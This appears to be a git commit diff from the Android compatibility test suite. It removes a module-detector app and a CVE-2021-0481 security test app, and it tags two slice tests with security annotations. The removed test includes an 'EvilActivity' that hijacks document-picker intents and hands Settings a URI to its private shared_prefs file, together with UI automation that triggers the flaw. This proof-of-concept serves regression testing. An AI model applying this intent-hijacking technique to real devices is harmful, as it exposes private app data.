diff options
author | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2022-10-13 07:48:08 +0000 |
---|---|---|
committer | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2022-10-13 07:48:08 +0000 |
commit | c8a2aaea0714324e2660add87fb433be2f1db45a (patch) | |
tree | 5b9a42cb12a24b8f9d763b21f35cb5a4e38e42af | |
parent | e9db877c9a8149dd1070718bf6a2ee68ea330bf3 (diff) | |
parent | bbb590ff6db3f0bd62a07754122fccdb0927dbc6 (diff) | |
download | cts-android10-mainline-tzdata-release.tar.gz |
Snap for 9170954 from bbb590ff6db3f0bd62a07754122fccdb0927dbc6 to qt-aml-tzdata-releaseq_tzdata_aml_295500002q_tzdata_aml_295500001android10-mainline-tzdata-release
Change-Id: I94b4ed273a41b5e0cdb4e573bac902f500924b2b
9 files changed, 2 insertions, 435 deletions
diff --git a/apps/MainlineModuleDetector/Android.mk b/apps/MainlineModuleDetector/Android.mk deleted file mode 100644 index 5b8e3165e40..00000000000 --- a/apps/MainlineModuleDetector/Android.mk +++ /dev/null @@ -1,34 +0,0 @@ -# -# Copyright (C) 2019 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# - -LOCAL_PATH:= $(call my-dir) -include $(CLEAR_VARS) - -LOCAL_MODULE_TAGS := optional - -LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS) - -LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt - -LOCAL_SRC_FILES := $(call all-java-files-under, src) - -LOCAL_PACKAGE_NAME := MainlineModuleDetector - -LOCAL_SDK_VERSION := current - -LOCAL_COMPATIBILITY_SUITE := cts sts - -include $(BUILD_CTS_PACKAGE) diff --git a/apps/MainlineModuleDetector/AndroidManifest.xml b/apps/MainlineModuleDetector/AndroidManifest.xml deleted file mode 100644 index 4cc8f8ca793..00000000000 --- a/apps/MainlineModuleDetector/AndroidManifest.xml +++ /dev/null @@ -1,31 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> - -<!-- Copyright (C) 2019 The Android Open Source Project - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. ---> - -<manifest xmlns:android="http://schemas.android.com/apk/res/android" - package="com.android.cts.mainlinemoduledetector" - android:versionCode="1" - android:versionName="1.0"> - - <application> - <activity android:name=".MainlineModuleDetector"> - <intent-filter> - <action android:name="android.intent.action.MAIN" /> - <category android:name="android.intent.category.LAUNCHER" /> - </intent-filter> - </activity> - </application> -</manifest> diff --git a/apps/MainlineModuleDetector/OWNERS b/apps/MainlineModuleDetector/OWNERS deleted file mode 100644 index 8f076a82482..00000000000 --- a/apps/MainlineModuleDetector/OWNERS +++ /dev/null @@ -1,3 +0,0 @@ -# Bug component: 195645 -manjaepark@google.com -mspector@google.com
\ No newline at end of file diff --git a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java deleted file mode 100644 index 01c02c774cd..00000000000 --- a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright (C) 2019 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.android.cts.mainlinemoduledetector; - -import android.app.Activity; -import android.content.pm.PackageManager; -import android.os.Bundle; -import android.util.Log; - -import com.android.compatibility.common.util.mainline.MainlineModule; -import com.android.compatibility.common.util.mainline.ModuleDetector; - -import java.util.HashSet; -import java.util.Set; - -public class MainlineModuleDetector extends Activity { - - private static final String LOG_TAG = "MainlineModuleDetector"; - - @Override - public void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - try { - PackageManager pm = getApplicationContext().getPackageManager(); - Set<MainlineModule> modules = ModuleDetector.getPlayManagedModules(pm); - Set<String> moduleNames = new HashSet<>(); - for (MainlineModule module : modules) { - moduleNames.add(module.packageName); - } - Log.i(LOG_TAG, "Play managed modules are: <" + String.join(",", moduleNames) + ">"); - } catch (Exception e) { - Log.e(LOG_TAG, "Failed to retrieve modules.", e); - } - this.finish(); - } -} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp deleted file mode 100644 index db36d6f5255..00000000000 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp +++ /dev/null @@ -1,32 +0,0 @@ -// Copyright (C) 2021 The Android Open Source Project -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -android_test_helper_app { - name: "CVE-2021-0481", - defaults: ["cts_support_defaults"], - srcs: ["src/**/*.java"], - test_suites: [ - "cts", - "vts10", - "sts", - ], - static_libs: [ - "androidx.test.rules", - "androidx.test.uiautomator_uiautomator", - "androidx.test.core", - "androidx.appcompat_appcompat", - ], - sdk_version: "current", -} - diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml deleted file mode 100644 index eb4890b84aa..00000000000 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml +++ /dev/null @@ -1,56 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!-- - * Copyright (C) 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - --> - -<manifest xmlns:android="http://schemas.android.com/apk/res/android" - xmlns:tools="http://schemas.android.com/tools" - package="android.security.cts.CVE_2021_0481" - android:targetSandboxVersion="2"> - - <application> - <uses-library android:name="android.test.runner"/> - - <activity android:name=".EvilActivity" android:exported="true"> - <intent-filter android:priority="100"> - <action android:name="android.intent.action.OPEN_DOCUMENT"/> - <category android:name="android.intent.category.DEFAULT"/> - <category android:name="android.intent.category.OPENABLE"/> - <data android:mimeType="*/*"/> - </intent-filter> - <intent-filter android:priority="100"> - <action android:name="android.intent.action.CREATE_DOCUMENT"/> - <category android:name="android.intent.category.DEFAULT"/> - <category android:name="android.intent.category.OPENABLE"/> - <data android:mimeType="*/*"/> - </intent-filter> - <intent-filter android:priority="100"> - <action android:name="android.intent.action.GET_CONTENT"/> - <category android:name="android.intent.category.OPENABLE"/> - <category android:name="android.intent.category.DEFAULT"/> - <data android:mimeType="*/*"/> - </intent-filter> - <intent-filter android:priority="100"> - <action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/> - <category android:name="android.intent.category.DEFAULT"/> - </intent-filter> - </activity> - - </application> - - <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" - android:targetPackage="android.security.cts.CVE_2021_0481" /> - -</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java deleted file mode 100644 index 9103c966cbf..00000000000 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java +++ /dev/null @@ -1,192 +0,0 @@ -/* - * Copyright (C) 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.security.cts.CVE_2021_0481; - -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; - -import android.content.Context; -import android.content.Intent; -import android.content.pm.PackageManager; -import android.content.pm.ResolveInfo; -import android.os.SystemClock; -import android.util.Log; - -import static androidx.test.core.app.ApplicationProvider.getApplicationContext; -import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; -import androidx.test.filters.SdkSuppress; -import androidx.test.runner.AndroidJUnit4; -import androidx.test.uiautomator.By; -import androidx.test.uiautomator.UiDevice; -import androidx.test.uiautomator.UiObject2; -import androidx.test.uiautomator.Until; -import androidx.test.uiautomator.BySelector; - -import java.util.List; - -import static org.hamcrest.CoreMatchers.equalTo; -import static org.hamcrest.CoreMatchers.is; -import static org.hamcrest.CoreMatchers.notNullValue; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.assertFalse; -import static org.junit.Assume.assumeNoException; - -/** - * launch "Settings" app - * set up user photo - */ -@RunWith(AndroidJUnit4.class) -public class DeviceTest { - - class ClickableNotFound extends Exception{ - public ClickableNotFound(String s){ - super(s); - } - } - - private static final String BASIC_SAMPLE_PACKAGE - = "android.security.cts.CVE_2021_0481"; - private static final int LAUNCH_TIMEOUT_MS = 20000; - private static final String TAG = "TAG_2021_0481"; - private static final int IS_FOUND_FLAG = 1; // 0001 - private static final int IS_CHECKED_FLAG = 2; // 0010 - private UiDevice mDevice; - - @Test - public void testUserPhotoSetUp() { - - //set mDevice and go to homescreen - mDevice = UiDevice.getInstance(getInstrumentation()); - mDevice.pressHome(); - - //start "Settings" app - Intent myIntent = new Intent("android.settings.USER_SETTINGS"); - //android.provider.Settings.ACTION_USER_SETTINGS - myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); - try{ - getApplicationContext().startActivity(myIntent); - } catch(android.content.ActivityNotFoundException e){ - Log.d(TAG, "Activity to be tested doesn't exist. Test will pass."); - return; - } - - //wait for "User Settings" activity to appear. - SystemClock.sleep(6000); - - //perform UI test steps - try { - - //in "Multiple users" activity showing "Use multiple users" switch - searchAndClick(mDevice, "android:id/switch_widget", 2000); - - //in "Multiple users" activity showing a list of current users, - //look for the first item "android:id/title" on the list showing "You(Owner)" - searchAndClick(mDevice, "android:id/title", 2000); - - //in "Profile Info" dialog window showing clickable user silhouette - //look for clickable android.widget.ImageView object with attributes: - // getContentDescription()=Select photo - // getResourceName()=com.android.settings:id/user_photo - searchAndClick(mDevice, "com.android.settings:id/user_photo", 2000); - - //in unnamed subdialog showing two options: "Take a photo" "Choose an image" - searchAndClick(mDevice, "Choose an image", 6000); - - //in "Browse Files in Other Apps" activity - searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000); - } catch (ClickableNotFound e){ - Log.d(TAG, e.toString()); - assumeNoException(e); - } - Log.d(TAG, "end of testUserPhotoSetUp()"); - } - - //see what is on screen and click on object containing name - //throw exception if object not found - private void searchAndClick(UiDevice mDevice, String name, int timeOut) throws ClickableNotFound { - - int ret; - List<UiObject2> objects = mDevice.findObjects(By.clickable(true)); - boolean found = false; - Log.d(TAG, "looking for " + name); - Log.d(TAG, "found " + String.valueOf(objects!=null ? objects.size() : 0) + " clickables"); - - if(objects != null){ - for (UiObject2 o : objects) { - if((ret=searchAndLog(o, name, "")) !=0 ) - { - found=true; - Log.d(TAG, name + " found"); - if((ret & IS_CHECKED_FLAG) == 0) { - o.click(); - Log.d(TAG, name + " clicked"); - SystemClock.sleep(timeOut); //wait for click result to appear onscreen - } - break; //to avoid androidx.test.uiautomator.StaleObjectException - } - } - } - if(!found) { - throw new ClickableNotFound("\"" + name + "\" not found to click on"); - } - } - - //Search for 'name' in UiObject2 - //returns int flags showing search result: - // IS_CHECKED_FLAG - 'name' matches o.getResourceName() and o.isSelected()==true - // IS_FOUND_FLAG - 'name' matches anything else - private int searchAndLog(UiObject2 o, String name, String prefix){ - - int ret = 0; - String lname = o.getText(); - String cname = o.getClassName(); - String cdesc = o.getContentDescription(); - String rname = o.getResourceName(); - boolean checked = o.isChecked(); - - Log.d(TAG, prefix + "class=" + cname); - Log.d(TAG, prefix + "o.getText()=" + lname); - Log.d(TAG, prefix + "o.getContentDescription()=" + cdesc); - Log.d(TAG, prefix + "o.getResourceName()=" + rname); - Log.d(TAG, prefix + "o.getChildCount()=" + o.getChildCount()); - - if( rname != null && rname.equals(name) && checked) { - ret |= IS_CHECKED_FLAG; - } - else if(lname != null && lname.equals(name) || cdesc != null && cdesc.equals(name) || rname != null && rname.equals(name) ) { - ret |= IS_FOUND_FLAG; - } - - if(ret != 0) { - Log.d(TAG, prefix + "found-->" + name); - return ret; - } else { - java.util.List<UiObject2> objects2 = o.getChildren(); - if(objects2 != null && objects2.size() > 0 && prefix.length() < 50) { - for (UiObject2 o2 : objects2) { - if((ret=searchAndLog(o2, name, prefix + "__")) != 0){ - return ret; - } - } - } - } - return ret; - } - -} - diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java deleted file mode 100644 index 92f0ec36d40..00000000000 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java +++ /dev/null @@ -1,38 +0,0 @@ -/* - * Copyright (C) 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package android.security.cts.CVE_2021_0481; - -import android.app.Activity; -import android.content.Intent; -import android.net.Uri; -import android.os.Bundle; -import android.util.Log; - -import androidx.annotation.Nullable; -import androidx.appcompat.app.AppCompatActivity; - -public class EvilActivity extends Activity { - - final static String PRIVATE_URI = "file:///data/user_de/0/com.android.settings/shared_prefs/cve_2021_0481.txt"; - private static final String TAG = "TAG_2021_0481"; - @Override - protected void onCreate(@Nullable Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - Log.d(TAG, "EvilActivity started!"); - setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI))); - finish(); - } -} diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java index cf7f61ceef4..1cc5c859402 100644 --- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java +++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java @@ -67,6 +67,7 @@ public class SliceProviderTest { } @Test + @AsbSecurityTest(cveBugId = 138441555) public void testCallSliceUri_ValidAuthority() { assumeFalse(mIsSlicesDisabled); @@ -74,6 +75,7 @@ public class SliceProviderTest { } @Test(expected = SecurityException.class) + @AsbSecurityTest(cveBugId = 138441555) public void testCallSliceUri_ShadyAuthority() { assumeFalse(mIsSlicesDisabled); |